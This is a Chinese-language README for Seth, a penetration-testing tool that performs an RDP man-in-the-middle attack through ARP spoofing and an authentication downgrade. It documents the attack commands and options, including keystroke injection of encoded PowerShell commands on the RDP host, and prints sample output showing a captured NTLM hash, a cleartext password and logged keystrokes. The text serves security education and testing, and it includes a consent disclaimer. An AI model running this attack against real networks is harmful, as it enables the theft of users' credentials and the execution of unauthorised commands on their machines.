Seth 是一个用 Python 和 Bash 编写的工具,用于通过尝试降级 RDP 连接以提取明文凭据,从而对 RDP 连接执行 MitM。它的开发旨在提高人们对正确配置 RDP 连接重要性的认识,并在渗透测试、工作坊或演讲中进行教育。作者是 Adrian Vollmer(SySS GmbH)。
像这样运行:
$ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>]
除非 RDP 主机与受害机器位于同一子网,否则最后一个 IP 地址必须是网关的 IP 地址。
最后一个参数是可选的。它可以包含一个命令,该命令通过按键事件注入模拟 WIN+R 在 RDP 主机上执行。按键注入取决于受害者使用的键盘布局——目前仅在美国英语布局下可靠。我建议使用 powershell -enc <STRING> 来避免特殊字符,其中 STRING 是您的 UTF-16le 和 Base64 编码的命令。不过,calc 应该非常通用并且能完成任务。
该 shell 脚本执行 ARP 欺骗以获得中间人位置,并重定向流量,使其通过 RDP 代理运行。代理可以单独调用。如果您想将 Seth 与 Responder 结合使用,这会很有用。使用 Responder 获得中间人位置,同时运行 Seth。运行 seth.py -h 获取更多信息:
usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
[-j INJECT] -c CERTFILE -k KEYFILE
target_host [target_port]
RDP 凭据嗅探器 -- Adrian Vollmer, SySS GmbH 2017
positional arguments:
target_host RDP 服务的目标主机
target_port 目标 RDP 服务的 TCP 端口(默认 3389)
optional arguments:
-h, --help 显示此帮助信息并退出
-d, --debug 显示调试信息
-f, --fake-server 执行 '伪造服务器' 攻击
-p LISTEN_PORT, --listen-port LISTEN_PORT
监听的 TCP 端口(默认 3389)
-b BIND_IP, --bind-ip BIND_IP
绑定伪造服务的 IP 地址(默认所有)
-g {0,1,3,11}, --downgrade {0,1,3,11}
将身份验证协议降级为此值(默认 3)
-j INJECT, --inject INJECT
通过按键事件注入执行的命令
-c CERTFILE, --certfile CERTFILE
证书文件的路径
-k KEYFILE, --keyfile KEYFILE
密钥文件的路径
更多信息请阅读 doc/paper 中的 PDF(或阅读代码!)。该论文还包含应对措施建议。
您还可以在 Youtube 上观看一个包括演示的二十分钟演讲(从 14:00 开始):https://www.youtube.com/watch?v=wdPkY7gykf4
或者在此处仅观看演示(带字幕):https://www.youtube.com/watch?v=JvvxTNrKV-s
以下输出显示攻击者的视角。Seth 嗅探到一个可离线破解的哈希以及明文密码。这里,NLA 未被强制执行,且受害者忽略了证书警告。

# ./seth.sh eth1 192.168.57.{103,2,102}
███████╗███████╗████████╗██╗ ██╗
██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
███████╗█████╗ ██║ ███████║ [email protected]
╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
███████║███████╗ ██║ ██║ ██║ https://www.syss.de
╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgrading authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press: LShift
Key press: S
Key release: S
Key release: LShift
Key press: E
Key release: E
Key press: C
Key release: C
Key press: R
Key release: R
Key press: E
Key release: E
Key press: T
Key release: T
Connection lost
[*] Cleaning up...
[*] Done.
python3
tcpdump
arpspoof
arpspoof 是 dsniff 的一部分
openssl
自行承担风险。未经所有相关方完全同意,请勿使用。仅供教育目的。